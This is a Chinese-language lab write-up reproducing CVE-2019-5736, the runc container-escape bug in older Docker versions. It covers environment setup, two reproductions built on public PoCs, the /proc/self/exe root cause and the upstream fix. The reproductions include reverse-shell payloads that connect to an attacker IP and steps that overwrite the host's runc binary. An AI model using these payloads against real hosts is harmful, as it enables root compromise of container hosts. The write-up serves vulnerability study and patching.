CVE-2019-5736-Docker逃逸RunC漏洞复现

引言

Docker 是一个开源的应用容器引擎,基于Go 语言并遵从Apache2.0协议开源。 Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中,然后发布到 Linux 或 Windows 机器上,也可以实现虚拟化。 因为Docker容器是完全使用沙箱机制,Docker逃逸漏洞便成了Docker的漏洞主要利用方式之一。

Docker逃逸RunC漏洞,在Docker 18.09.2之前的版本中使用了的RunC版本小于1.0-rc6,允许攻击者重写宿主机上的RunC 二进制文件, 从而使得宿主机以root执行命令,从而获取宿主机控制权限。

img

概述

背景


漏洞是指应用软件或操作系统软件在逻辑设计上的缺陷或在编写时产生的错误,这个缺陷或错误可以被不法者或者电脑黑客利用,通过植入木马、病毒等方式来攻击或控制整个电脑,从而窃取电脑中的重要资料和信息,甚至破坏系统。现代化的社会发展为人们设计了自由、共享的网络环境,这促使人们的生活、工作以及学习得到了有效改善,也为网络安全漏洞问题的突显提供了平台。

Docker逃逸RunC漏洞


CVE-2019-5736是2019年2月11日在oss-security邮件列表披露的runc容器逃逸漏洞。

在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,因此可以感觉以root的身份执行命令,导致获得宿主机的root权限。

利用方式:

  1. 宿主机利用攻击者提供的image来创建一个新的container 。或
  2. 拥有container root权限,并且该container后续被docker exec attach。

一句话描述,docker 18.09.2之前的runc存在漏洞,攻击者可以修改runc的二进制文件导致提权。

影响:

  • docker version <=18.09.2 (然而实际测试的结果是docker version 18.09.1失败)
  • RunC version <=1.0-rc6

docker6

相关工具及技术

Vmware Workstation


VMware Workstation使专业技术人员能够在同一台 PC上同时运行多个基于 x86 的 Windows、Linux 和其他操作系统,从而开发、测试、演示和部署软件。

借助 VMware Workstation Pro,您可以将多个操作系统作为虚拟机(包括 Windows 虚拟机)在单台 Windows 或 Linux PC 上运行,VMware Workstation Pro 是将多个操作系统作为虚拟机 (VM) 在单台 Linux 或 Windows PC 上运行的行业标准。为任何设备、平台或云环境构建、测试或演示软件的 IT 专业人员、开发人员和企业都可以使用,可大大提升工作效率的高性能工具。开发人员将获得一个扩展性强的工程设计环境。

VMware Workstation 可在一部实体机器上模拟完整的网络环境,以及可便于携带的虚拟机器,其更好的灵活性与先进的技术胜过了市面上其他的虚拟计算机软件。对于企业的 IT开发人员和系统管理员而言, VMware 在虚拟网路,实时快照,拖曳共享文件夹,支持 PXE 等方面的特点使它成为必不可少的工具。

VMware Workstation 允许操作系统和应用程序在一台虚拟机内部运行。虚拟机是独立运行主机操作系统的离散环境。在 VMware Workstation 中,可以在一个窗口中加载一台虚拟机,它可以运行自己的操作系统和应用程序。可以在运行于桌面上的多台虚拟机之间切换,通过一个网络共享虚拟机,挂起和恢复虚拟机以及退出虚拟机,这一切不会影响你的主机操作和任何操作系统或者其它正在运行的应用程序。

Ubuntu


Ubuntu是一个以桌面应用为主的Linux操作系统,其名称来自非洲南部祖鲁语或豪萨语的“ubuntu“一词,意思是“人性”“我的存在是因为大家的存在”,是非洲传统的一种价值观。Ubuntu基于Debian发行版和Gnome桌面环境,而从11.04版起,Ubuntu发行版放弃了Gnome桌面环境,改为Unity。从前人们认为Linux难以安装、难以使用,在Ubuntu出现后这些都成为了历史。Ubuntu也拥有庞大的社区力量,用户可以方便地从社区获得帮助。

Kali Linux


Kali Linux 是一个基于Debian 的Linux 版本 ,面向专业的渗透测试和安全审计。可以把它理解为一个特殊的Linux发行版,集成了超过了600种精心挑选的渗透测试的工具(如 Metasploit FrameWork , Nmap等),供渗透测试和安全设计人员使用,也可称之为平台或者框架。

Docker


Docker 是一个开源的应用容器引擎,基于Go 语言并遵从Apache2.0协议开源,项目主要代码在2013年开源于 GitHub。它是云服务技术上的一次创新,让应用程序布署在软件容器下的工作可以自动化进行,借此在 Linux 操作系统上,提供一个额外的软件抽象层,以及操作系统层虚拟化的自动管理机制。

Docker 利用 Linux 核心中的资源分脱机制,例如 cgroups, Linux 核心名字空间(name space),以及AUFS类的UnionFS等技术,对进程进行封装隔离,属于操作系统层面的虚拟化技术。由于隔离的进程独立于宿主和其它的隔离的进程,因此也称其为容器。Docker 在容器的基础上进行了进一步的封装,从文件系统、网络互联到进程隔离等等,极大的简化了容器的创建和维护,使得其比虚拟机技术更为轻便、快捷。Docker 可以在单一 Linux 实体下运作,避免因为创建一个虚拟机而造成的额外负担。传统虚拟机技术是虚拟出一套硬件后,在其上运行一个完整操作系统,在该系统上再运行所需应用进程;而容器内的应用进程直接运行于宿主的内核,容器内没有自己的内核,而且也没有进行硬件虚拟。因此容器要比传统虚拟机更为轻便。

Docker 和传统虚拟机对比,具有更快的启动速度、更高效的资源利用率、更高的系统支持量、持续交付与部署、更轻松的迁移、更轻松的维护与扩展等优点。

Docker Hub是Docker提供的一项服务,用于寻找和共享容器镜像。它是世界上最大的容器映像库,其内容来源包括容器社区开发者、开源项目和独立软件供应商(ISV)在容器中构建和发布他们的代码。它是一个在线存储库,Docker 镜像可以由其他用户发布和使用。

Docker常用命令

dockr images 列出本地镜像

docker ps 查看当前运行的容器

docker ps -a 查看全部容器

docker pull NAME[:TAG] 从镜像仓库中拉取或者更新指定镜像

docker restart container_id 重启容器

docker build -f Dockerfile_PATH docker build 命令用于使用 Dockerfile 创建镜像。

docker run [OPTIONS] IMAGE [COMMAND] [ARG…]

OPTIONS 说明:

-d: 后台运行容器,并返回容器ID

-p: 指定端口映射,格式为:主机(宿主)端口:容器端口

–name “名称 “ : 为容器指定一个名称;

Golang


Go语言(也称为Golang)是google在2009年推出的一种编译型编程语言。 相对于大多数语言,golang具有编写并发或网络交互简单、丰富的数据类型、编译快等特点,比较适合于高性能、高并发场景。 … golang正是由一个强大团队利用这20%时间开发的。

Golang 常用命令

build: 编译包和依赖。

run: 编译并运行go程序。

clean: 移除当前源码包里面编译生成的文件。

fmt: 运行gofmt进行格式化。

get: 下载并安装包和依赖。

install: 编译并安装包和依赖。

list: 列出包。

version: 显示当前环境安装go的版本

交叉编译

  • 多平台 ( 交叉编译 )

一、Mac 下编译 Linux 和 Windows 64位可执行程序

1
2
3
4
5
6
7
8
9
CGO_ENABLED=0 
GOOS=linux
GOARCH=amd64
go build main.go

CGO_ENABLED=0
GOOS=windows
GOARCH=amd64
go build main.go

二、Linux 下编译 Mac 和 Windows 64位可执行程序

1
2
3
4
5
6
7
8
9
CGO_ENABLED=0 
GOOS=darwin
GOARCH=amd64
go build main.go

CGO_ENABLED=0
GOOS=windows
GOARCH=amd64
go build main.go

三、Windows 下编译 Mac 和 Linux 64位可执行程序

1
2
3
4
5
6
7
8
9
SET CGO_ENABLED=0
SET GOOS=darwin
SET GOARCH=amd64
go build main.go

SET CGO_ENABLED=0
SET GOOS=linux
SET GOARCH=amd64
go build main.go

GOOS:目标平台的操作系统(darwin、freebsd、linux、windows) GOARCH:目标平台的体系架构(386、amd64、arm) 交叉编译不支持 CGO 所以要禁用它

环境搭建

安装Ubuntu 16.04


首先从官网下载镜像 ,

下载地址: https://releases.ubuntu.com/16.04/

使用 Vmware Workstation 虚拟机进行安装

image-20211201133831599

安装完毕, 会自动安装 Vmware-tools

如若没有 , 可以手动进行安装 , 详情参考 vmware 官方文档

[+] 官方文档 : https://docs.vmware.com/cn/VMware-Tools/11.3.0/com.vmware.vsphere.vmwaretools.doc/GUID-C48E1F14-240D-4DD1-8D4C-25B6EBE4BB0F.html

  • Ubuntu、Debian 及相关操作系统
  1. 请确保已更新软件包索引:

    1
    sudo apt-get update
  2. 如果虚拟机具有 GUI(X11 等),请安装或升级
    open-vm-tools-desktop:

    1
    sudo apt-get install open-vm-tools-desktop
  3. 否则,请使用以下命令安装
    open-vm-tools:

    1
    sudo apt-get install open-vm-tools

安装Docker 环境


Linux 环境: Ubuntu 16.04

docker 版本

  • docker version <=18.09.2
  • RunC version <=1.0-rc6

脚本搭建过程

(支持UbuntuCentOS)

1
curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh

手工搭建过程

Ubuntu

1
2
curl -fsSL https://get.docker.com -o get-docker.sh && \
sudo VERSION=18.06.0 sh get-docker.sh

1、更新索引包

1
$ sudo apt-get update

2、安装以下包,以使 apt 可以通过 https 使用 repository

1
$ sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common

3、添加Docker官方的GPG密钥并更新索引包

1
2
$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -` `
$ sudo apt-get update
  • 安装指定的docker版本

1、列出可用版本

1
apt-cache madison docker-ce

image-20211206140408904

2、选择一个版本来安装

1
2
$ sudo apt-get install docker-ce=<VERSION>
比如: $ sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu

3、查看是否安装正常

1
$ sudo systemctl start docker` `$ docker info

配置GoLang环境


安装Golang

apt安装

1
apt install golang

官网 源码 编译安装

漏洞复现

先拉取 一个容器 例如 ==Ubuntu 16.04==

1
sudo docker pull ubuntu:16.04

image-20211022222251029

启动容器

1
sudo docker run -d -it b6

image-20211022222830729

这里通过 exec 命令模拟 黑客 获取到容器的root权限的shell

1
sudo docker exec -it 35 bash

image-20211022223004305

复现方式一

使用poc进行攻击,github 项目地址:

https://github.com/Frichetten/CVE-2019-5736-PoC

循环等待 runC init的 PID -> open(“/proc/pid/exe”,O_RDONLY) -> execve()释放 runC的IO并覆盖runC二进制文件 -> execve()执行被覆盖 runC

修改payload

1
var payload = "#!/bin/bash \n /bin/bash -i >& /dev/tcp/192.168.119.137/9999 0>&1"

image-20211206150536431

修改poc , bash 也可getshell

修改payload, 编译poc

1
go build main.go

上传 , 执行poc文件

image-20211022223803309

此时, 如果用户从宿主机通过exec命令进入容器内容 , 就能成功触发poc

image-20211022224107696

攻击机成功收到 反弹shell

image-20211022224359412

1
查看 ip , 确定shell 来自宿主机

image-20211022224302900

复现方式二

构造有漏洞的容器镜像, 完成漏洞复现

GitHub 地址: https://github.com/twistlock/RunC-CVE-2019-5736

思路: 研究人员通过欺骗runC init execve -> runc 执行/proc/self/exe -> /proc/[runc-pid]/exe覆盖runC 二进制文件

Dockerfile文件

1.获取libseccomp文件并将run_at_link文件加入,runC启动运行libseccomp。

1
2
3
4
5
6
ADD run_at_link.c /root/run_at_link.c
RUN set -e -x ;\
cd /root/libseccomp-* ;\
cat /root/run_at_link.c >> src/api.c ;\
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us ;\
dpkg -i /root/*.deb

2.overwrite_runc添加docker中并编译 3.使入口点指向runc

1
2
3
RUN set -e -x ;\
ln -s /proc/self/exe /entrypoint
ENTRYPOINT [ "/entrypoint" ]

run_at_link文件

1.run_at_link read runc binary 获得fd

1
2
3
4
5
6
7
int runc_fd_read = open("/proc/self/exe", O_RDONLY);
if (runc_fd_read == -1 ) {
printf("[!] can't open /proc/self/exe\n");
return;
}
printf("[+] Opened runC for reading as /proc/self/fd/%d\n", runc_fd_read);
fflush(stdout);

2.调用execve执行overwrite_runc

1
execve("/overwrite_runc", argv_overwrite, NULL); 

3.overwrite_runc写入poc string


1
2
3
$ cd RunC-CVE-2019-5736
$ docker build -t cve-2019-5736:malicious_image_POC ./malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC

修改 new_runc , 修改接收反弹shell 的地址

image-20211202101831715

1
2
#!/bin/bash
bash -i >& /dev/tcp/192.168.119.137/7777 0>&1 &

image-20211202101719829

image-20211202101522575

接收反弹shell

image-20211202101656476

查看ip , 确认为 宿主机

image-20211202101715579

image-20211202101936883

漏洞原理

漏洞总结下来就是一句话,攻击者可以重写宿主机上的runc二进制文件。

先来看/proc/self/exe是什么?

1
2
$ file /proc/self/exe
/proc/self/exe: symbolic link to /usr/bin/file

proc/self/exe符号链接会指向调用者自身,同理proc/pid/exe会指向pid进程的调用者。但是/proc/pid/exe和一般符号链接不同,其不遵循符号链接的正常语义,当进程打开/proc/pid/exe时,没有正常的读取和跟踪符号链接内容的过程。相反,内核只是让用户直接访问打开的文件条目。

漏洞产生的原因就是宿主机通过runc对docker容器进行操作的时候没有做好访问限制,导致runc可以通过/proc/self/exe符号链接来访问到宿主机上的runc文件。攻击者可以让runc运行/proc/self/exe符号链接来欺骗它自己执行自己,从而对宿主机上的runc文件进行覆盖重写。

具体的利用步骤:

  1. 容器内生成一个恶意文件,将文件的调用者改为proc/self/exe
  2. 宿主机docker exec调用该恶意文件,会调用proc/self/exe,也就是runc,此时容器内便可以遍历proc进程号,获取runc的进程号
  3. 得到容器进称号PID后,可以获取/proc/pid/exe文件描述符fd
  4. 对fd进行写操作,覆盖原有runc的文件

问题1:攻击者为什么不继续写入恶意文件从而覆盖主机上的runc二进制文件?

因为内核将不允许在执行runC时将其覆盖。于是可以通过获取/proc/PID/exe的file handler 来获取runcinit的文件描述符。 然后再写入该文件。

问题2:runc创建容器时,会首先创建新进程runc-init,并且runc-init在另一个namespace里面,用来做隔离,那么为什么不覆盖runc的子进程runC init?

CVE-2016-9962漏洞修补程序在进入容器之前就将runC init进程设置为“不可转储”(Non-dumpable)。其漏洞原理是runC init进程拥有来自宿主机的打开文件描述符,容器中的攻击者可以利用它来遍历主机的文件系统,从而打开容器。

seebug

runC利用链分析

image-20211208090108977

修复建议

更新至 最新版本

官方修复方式

链接: https://github.com/opencontainers/runc/commit/6635b4f0c6af3810594d2770f662f34ddc15b40d

image-20211208093157249

增加了一个ensure_cloned_binary函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int ensure_cloned_binary(void)
{
int execfd;
char **argv = NULL, **envp = NULL;

/* Check that we're not self-cloned, and if we are then bail. */
int cloned = is_self_cloned();
if (cloned > 0 || cloned == -ENOTRECOVERABLE)
return cloned;

if (fetchve(&argv, &envp) < 0)
return -EINVAL;

execfd = clone_binary();
if (execfd < 0)
return -EIO;

fexecve(execfd, argv, envp);
return -ENOEXEC;
}

static int is_self_cloned(void)
{
int fd, ret, is_cloned = 0;

fd = open("/proc/self/exe", O_RDONLY|O_CLOEXEC);
if (fd < 0)
return -ENOTRECOVERABLE;

#ifdef HAVE_MEMFD_CREATE
ret = fcntl(fd, F_GET_SEALS);
is_cloned = (ret == RUNC_MEMFD_SEALS);
#else
struct stat statbuf = {0};
ret = fstat(fd, &statbuf);
if (ret >= 0)
is_cloned = (statbuf.st_nlink == 0);
#endif
close(fd);
return is_cloned;
}

判断/proc/self/exe是否被clone,如果没有的话,则执行clone_binary函数,返回一个新的file handler。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
static int clone_binary(void)
{
int binfd, memfd;
ssize_t sent = 0;

#ifdef HAVE_MEMFD_CREATE
memfd = memfd_create(RUNC_MEMFD_COMMENT, MFD_CLOEXEC | MFD_ALLOW_SEALING);
#else
memfd = open("/tmp", O_TMPFILE | O_EXCL | O_RDWR | O_CLOEXEC, 0711);
#endif
if (memfd < 0)
return -ENOTRECOVERABLE;

binfd = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
if (binfd < 0)
goto error;

sent = sendfile(memfd, binfd, NULL, RUNC_SENDFILE_MAX);
close(binfd);
if (sent < 0)
goto error;

#ifdef HAVE_MEMFD_CREATE
int err = fcntl(memfd, F_ADD_SEALS, RUNC_MEMFD_SEALS);
if (err < 0)
goto error;
#else
/* Need to re-open "memfd" as read-only to avoid execve(2) giving -EXTBUSY. */
int newfd;
char *fdpath = NULL;

if (asprintf(&fdpath, "/proc/self/fd/%d", memfd) < 0)
goto error;
newfd = open(fdpath, O_RDONLY | O_CLOEXEC);
free(fdpath);
if (newfd < 0)
goto error;

close(memfd);
memfd = newfd;
#endif
return memfd;

error:
close(memfd);
return -EIO;
}

参考链接

https://www.freebuf.com/articles/web/258398.html

https://thinkycx.me/2019-05-23-CVE-2019-5736-docker-escape-recurrence.html

https://saucer-man.com/information_security/547.html

poc